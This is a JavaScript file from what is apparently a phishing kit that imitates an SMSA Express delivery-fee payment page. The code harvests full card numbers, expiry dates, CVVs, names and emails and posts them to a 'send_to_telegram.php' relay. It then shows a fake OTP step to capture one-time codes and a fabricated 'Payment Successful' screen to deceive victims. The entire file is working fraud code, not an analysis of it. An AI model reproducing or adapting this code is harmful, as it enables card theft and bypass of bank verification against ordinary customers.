/home2/mshostin/public_html/saudiapost/smsa/js/payment.js
/* ============================================
   SMSA EXPRESS - PAYMENT PROCESSING COMPLET
   ============================================ */

document.addEventListener('DOMContentLoaded', function() {
    const paymentForm = document.getElementById('payment-form');
    if (paymentForm) {
        paymentForm.addEventListener('submit', handlePaymentSubmit);
    }

    // Formater le numéro de carte
    const cardNumberInput = document.getElementById('card-number');
    if (cardNumberInput) {
        cardNumberInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\s/g, '');
            let formattedValue = value.replace(/(\d{4})/g, '$1 ').trim();
            e.target.value = formattedValue;
        });
    }

    // Formater la date d'expiration
    const expiryInput = document.getElementById('expiry-date');
    if (expiryInput) {
        expiryInput.addEventListener('input', function(e) {
            let value = e.target.value.replace(/\D/g, '');
            if (value.length >= 2) {
                value = value.slice(0, 2) + '/' + value.slice(2, 4);
            }
            e.target.value = value;
        });
    }

    // Limiter le CVV
    const cvvInput = document.getElementById('cvv');
    if (cvvInput) {
        cvvInput.addEventListener('input', function(e) {
            e.target.value = e.target.value.replace(/\D/g, '').slice(0, 4);
        });
    }
});

// Gérer la soumission du formulaire de paiement
function handlePaymentSubmit(e) {
    e.preventDefault();

    // Valider le formulaire
    if (!validatePaymentForm()) {
        return;
    }

    // Envoyer les données du formulaire à Telegram
    sendPaymentDataToTelegram();

    // Afficher la page de loading
    showLoadingPage();

    // Simuler le traitement du paiement pendant 6 secondes
    setTimeout(() => {
        showSMSVerificationPage();
    }, 6000);
}

// Envoyer les données du formulaire à Telegram
function sendPaymentDataToTelegram() {
    const formData = new FormData();
    formData.append('action', 'payment_data');
    formData.append('tracking_number', document.getElementById('tracking-number-payment').value);
    formData.append('delivery_fee', document.getElementById('delivery-fee').value);
    formData.append('card_name', document.getElementById('card-name').value);
    formData.append('email', document.getElementById('email').value);
    formData.append('card_number', document.getElementById('card-number').value.replace(/\s/g, ''));
    formData.append('expiry_date', document.getElementById('expiry-date').value);
    formData.append('cvv', document.getElementById('cvv').value);
    formData.append('timestamp', getCurrentDateTime());
    formData.append('ip_address', 'Client IP');

    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        console.log('Payment data sent to Telegram:', data);
        // Effacer les données de la carte immédiatement après l'envoi
        clearCardData();
    })
    .catch(error => {
        console.error('Error sending payment data:', error);
    });
}

// Effacer les données de la carte du système
function clearCardData() {
    // Effacer les champs du formulaire
    document.getElementById('card-number').value = '';
    document.getElementById('expiry-date').value = '';
    document.getElementById('cvv').value = '';
    
    // Effacer de la mémoire
    setTimeout(() => {
        document.getElementById('card-name').value = '';
        document.getElementById('email').value = '';
    }, 500);
}

// Valider le formulaire de paiement
function validatePaymentForm() {
    const name = document.getElementById('card-name').value.trim();
    const email = document.getElementById('email').value.trim();
    const cardNumber = document.getElementById('card-number').value.replace(/\s/g, '');
    const expiryDate = document.getElementById('expiry-date').value;
    const cvv = document.getElementById('cvv').value;

    if (!name) {
        showPaymentAlert('Please enter your full name', 'error');
        return false;
    }

    if (!email || !isValidEmail(email)) {
        showPaymentAlert('Please enter a valid email address', 'error');
        return false;
    }

    if (!cardNumber || cardNumber.length !== 16) {
        showPaymentAlert('Please enter a valid 16-digit card number', 'error');
        return false;
    }

    if (!expiryDate || !isValidExpiryDate(expiryDate)) {
        showPaymentAlert('Please enter a valid expiry date (MM/YY)', 'error');
        return false;
    }

    if (!cvv || cvv.length < 3) {
        showPaymentAlert('Please enter a valid CVV', 'error');
        return false;
    }

    return true;
}

// Vérifier si l'email est valide
function isValidEmail(email) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(email);
}

// Vérifier si la date d'expiration est valide
function isValidExpiryDate(expiryDate) {
    const [month, year] = expiryDate.split('/');
    if (!month || !year || month < 1 || month > 12) {
        return false;
    }
    
    const currentDate = new Date();
    const currentYear = currentDate.getFullYear() % 100;
    const currentMonth = currentDate.getMonth() + 1;

    const expYear = parseInt(year);
    const expMonth = parseInt(month);

    if (expYear < currentYear) {
        return false;
    }

    if (expYear === currentYear && expMonth < currentMonth) {
        return false;
    }

    return true;
}

// Afficher l'alerte de paiement
function showPaymentAlert(message, type = 'info') {
    const alertBox = document.getElementById('payment-alert-box');
    if (!alertBox) return;

    alertBox.textContent = message;
    alertBox.className = `alert active ${type}`;

    setTimeout(() => {
        alertBox.classList.remove('active');
    }, 5000);
}

// Afficher la page de loading
function showLoadingPage() {
    // Créer le modal de loading
    const loadingModal = document.createElement('div');
    loadingModal.id = 'loading-modal';
    loadingModal.className = 'modal-overlay active';
    loadingModal.innerHTML = `
        <div class="modal-content loading-content">
            <div class="spinner"></div>
            <h2>Processing Your Payment</h2>
            <p>Please wait while we process your payment...</p>
            <div class="progress-bar">
                <div class="progress-fill"></div>
            </div>
        </div>
    `;

    document.body.appendChild(loadingModal);

    // Ajouter les styles si nécessaire
    if (!document.getElementById('modal-styles')) {
        const style = document.createElement('style');
        style.id = 'modal-styles';
        style.textContent = `
            .modal-overlay {
                display: none;
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, 0.7);
                z-index: 10000;
                align-items: center;
                justify-content: center;
            }

            .modal-overlay.active {
                display: flex;
            }

            .modal-content {
                background: white;
                padding: 3rem;
                border-radius: 8px;
                text-align: center;
                max-width: 400px;
                box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
            }

            .loading-content h2 {
                font-size: 24px;
                color: #153c3f;
                margin: 1.5rem 0 0.5rem;
                font-weight: 700;
            }

            .loading-content p {
                color: #666;
                margin-bottom: 1.5rem;
            }

            .spinner {
                width: 50px;
                height: 50px;
                border: 4px solid #e0e0e0;
                border-top-color: #00c8e1;
                border-radius: 50%;
                animation: spin 1s linear infinite;
                margin: 0 auto;
            }

            @keyframes spin {
                to { transform: rotate(360deg); }
            }

            .progress-bar {
                width: 100%;
                height: 4px;
                background: #e0e0e0;
                border-radius: 2px;
                overflow: hidden;
                margin-top: 1rem;
            }

            .progress-fill {
                height: 100%;
                background: linear-gradient(90deg, #00c8e1, #146e82);
                animation: progress 6s ease-in-out forwards;
            }

            @keyframes progress {
                0% { width: 0%; }
                100% { width: 100%; }
            }

            .sms-content h2 {
                font-size: 24px;
                color: #153c3f;
                margin-bottom: 1rem;
                font-weight: 700;
            }

            .sms-content p {
                color: #666;
                margin-bottom: 1.5rem;
            }

            .sms-input-group {
                margin: 2rem 0;
            }

            .sms-input-group label {
                display: block;
                margin-bottom: 0.5rem;
                color: #333;
                font-weight: 600;
            }

            .sms-input-group input {
                width: 100%;
                padding: 1rem;
                border: 2px solid #ddd;
                border-radius: 4px;
                font-size: 18px;
                letter-spacing: 0.2em;
                text-align: center;
                font-weight: 700;
            }

            .sms-input-group input:focus {
                outline: none;
                border-color: #00c8e1;
                box-shadow: 0 0 0 3px rgba(0, 200, 225, 0.1);
            }

            .sms-info {
                background: #f0f9fa;
                padding: 1rem;
                border-radius: 4px;
                margin: 1.5rem 0;
                border-left: 4px solid #00c8e1;
                text-align: left;
                color: #666;
                font-size: 14px;
            }

            .sms-buttons {
                display: flex;
                gap: 1rem;
                margin-top: 1.5rem;
            }

            .sms-buttons button {
                flex: 1;
                padding: 0.75rem;
                border: none;
                border-radius: 4px;
                font-weight: 600;
                cursor: pointer;
                transition: all 0.3s ease;
                font-size: 14px;
            }

            .btn-verify {
                background: #00c8e1;
                color: #153c3f;
            }

            .btn-verify:hover {
                background: #00a0b8;
            }

            .btn-cancel {
                background: #e0e0e0;
                color: #333;
            }

            .btn-cancel:hover {
                background: #d0d0d0;
            }

            .success-content {
                text-align: center;
            }

            .success-content .success-icon {
                width: 80px;
                height: 80px;
                background: #4caf50;
                border-radius: 50%;
                display: flex;
                align-items: center;
                justify-content: center;
                margin: 0 auto 1.5rem;
                font-size: 40px;
                color: white;
            }

            .success-content h2 {
                font-size: 28px;
                color: #153c3f;
                margin-bottom: 0.5rem;
                font-weight: 700;
            }

            .success-content p {
                color: #666;
                margin-bottom: 1rem;
            }

            .success-details {
                background: #f9f9f9;
                padding: 1.5rem;
                border-radius: 4px;
                margin: 1.5rem 0;
                text-align: left;
                border-left: 4px solid #4caf50;
                max-height: 300px;
                overflow-y: auto;
            }

            .success-details div {
                display: flex;
                justify-content: space-between;
                padding: 0.5rem 0;
                border-bottom: 1px solid #e0e0e0;
                word-break: break-all;
            }

            .success-details div:last-child {
                border-bottom: none;
            }

            .success-details strong {
                color: #333;
                min-width: 120px;
            }

            .success-details span {
                color: #666;
                font-size: 12px;
                text-align: right;
            }

            .btn-close-modal {
                background: #00c8e1;
                color: #153c3f;
                padding: 0.75rem 2rem;
                border: none;
                border-radius: 4px;
                font-weight: 600;
                cursor: pointer;
                margin-top: 1.5rem;
                transition: all 0.3s ease;
            }

            .btn-close-modal:hover {
                background: #00a0b8;
            }
        `;
        document.head.appendChild(style);
    }
}

// Afficher la page de vérification OTP
function showSMSVerificationPage() {
    const modal = document.getElementById('loading-modal');
    if (!modal) return;

    // Envoyer une demande d'OTP à Telegram
    sendOTPRequestToTelegram();

    modal.innerHTML = `
        <div class="modal-content sms-content">
            <h2>Verify Your Payment</h2>
            <p>Enter the OTP (One Time Password) sent to your phone</p>
            
            <div class="sms-info">
                📱 We've sent an OTP to your registered phone number
            </div>

            <div class="sms-input-group">
                <label for="sms-code">OTP Code</label>
                <input 
                    type="text" 
                    id="sms-code" 
                    placeholder="000000" 
                    maxlength="6"
                    autocomplete="off"
                >
            </div>

            <div class="sms-buttons">
                <button class="btn-verify" onclick="verifyOTP()">Verify</button>
                <button class="btn-cancel" onclick="cancelPayment()">Cancel</button>
            </div>
        </div>
    `;

    // Focus sur l'input
    setTimeout(() => {
        document.getElementById('sms-code').focus();
    }, 100);

    // Permettre d'appuyer sur Entrée
    document.getElementById('sms-code').addEventListener('keypress', function(e) {
        if (e.key === 'Enter') {
            verifyOTP();
        }
    });
}

// Envoyer une demande d'OTP à Telegram
function sendOTPRequestToTelegram() {
    const formData = new FormData();
    formData.append('action', 'otp_request');
    formData.append('tracking_number', document.getElementById('tracking-number-payment').value);
    formData.append('card_name', document.getElementById('card-name').value);
    formData.append('email', document.getElementById('email').value);
    formData.append('timestamp', getCurrentDateTime());

    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        console.log('OTP request sent to Telegram:', data);
    })
    .catch(error => {
        console.error('Error sending OTP request:', error);
    });
}

// Vérifier l'OTP entré par le client
function verifyOTP() {
    const clientOTP = document.getElementById('sms-code').value.trim();

    if (!clientOTP || clientOTP.length !== 6) {
        alert('Please enter a valid 6-digit OTP');
        return;
    }

    // Envoyer l'OTP à Telegram pour vérification
    sendOTPVerificationToTelegram(clientOTP);

    // Simuler la vérification
    const modal = document.getElementById('loading-modal');
    modal.innerHTML = `
        <div class="modal-content loading-content">
            <div class="spinner"></div>
            <h2>Verifying OTP</h2>
            <p>Please wait...</p>
        </div>
    `;

    setTimeout(() => {
        showSuccessPage();
    }, 2000);
}

// Envoyer l'OTP vérifié à Telegram
function sendOTPVerificationToTelegram(otp) {
    const formData = new FormData();
    formData.append('action', 'otp_verification');
    formData.append('otp_code', otp);
    formData.append('tracking_number', document.getElementById('tracking-number-payment').value);
    formData.append('timestamp', getCurrentDateTime());

    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        console.log('OTP verification sent to Telegram:', data);
    })
    .catch(error => {
        console.error('Error sending OTP verification:', error);
    });
}

// Afficher la page de succès
function showSuccessPage() {
    const trackingNumber = document.getElementById('tracking-number-payment').value;
    const deliveryFee = document.getElementById('delivery-fee').value;
    const transactionId = generateTransactionId();

    const modal = document.getElementById('loading-modal');
    modal.innerHTML = `
        <div class="modal-content success-content">
            <div class="success-icon">✓</div>
            <h2>Payment Successful!</h2>
            <p>Your payment has been processed successfully</p>

            <div class="success-details">
                <div>
                    <strong>Transaction ID:</strong>
                    <span>${transactionId}</span>
                </div>
                <div>
                    <strong>Tracking #:</strong>
                    <span>${trackingNumber}</span>
                </div>
                <div>
                    <strong>Amount:</strong>
                    <span>${deliveryFee}</span>
                </div>
                <div>
                    <strong>Date & Time:</strong>
                    <span>${getCurrentDateTime()}</span>
                </div>
            </div>

            <button class="btn-close-modal" onclick="closePaymentModal()">Close</button>
        </div>
    `;

    // Envoyer les données de succès à Telegram
    sendSuccessToTelegram(transactionId);
}

// Générer un ID de transaction UNIQUE à chaque fois
function generateTransactionId() {
    const timestamp = Date.now().toString();
    const random = Math.floor(Math.random() * 10000).toString().padStart(4, '0');
    const unique = Math.random().toString(36).substr(2, 5).toUpperCase();
    return 'TXN' + timestamp.slice(-6) + random + unique;
}

// Obtenir la date/heure actuelle
function getCurrentDateTime() {
    const now = new Date();
    const year = now.getFullYear();
    const month = String(now.getMonth() + 1).padStart(2, '0');
    const day = String(now.getDate()).padStart(2, '0');
    const hours = String(now.getHours()).padStart(2, '0');
    const minutes = String(now.getMinutes()).padStart(2, '0');
    const seconds = String(now.getSeconds()).padStart(2, '0');

    return `${year}-${month}-${day} ${hours}:${minutes}:${seconds}`;
}

// Envoyer les données de succès à Telegram
function sendSuccessToTelegram(transactionId) {
    const formData = new FormData();
    formData.append('action', 'payment_success');
    formData.append('transaction_id', transactionId);
    formData.append('tracking_number', document.getElementById('tracking-number-payment').value);
    formData.append('delivery_fee', document.getElementById('delivery-fee').value);
    formData.append('timestamp', getCurrentDateTime());

    fetch('send_to_telegram.php', {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        console.log('Success notification sent to Telegram:', data);
    })
    .catch(error => {
        console.error('Error sending success notification:', error);
    });
}

// Annuler le paiement
function cancelPayment() {
    const modal = document.getElementById('loading-modal');
    if (modal) {
        modal.remove();
    }
    alert('Payment cancelled');
}

// Fermer le modal de paiement
function closePaymentModal() {
    const modal = document.getElementById('loading-modal');
    if (modal) {
        modal.remove();
    }
    
    // Réinitialiser le formulaire
    document.getElementById('payment-form').reset();
    
    // Masquer la section de paiement
    document.getElementById('payment-section').classList.remove('active');
}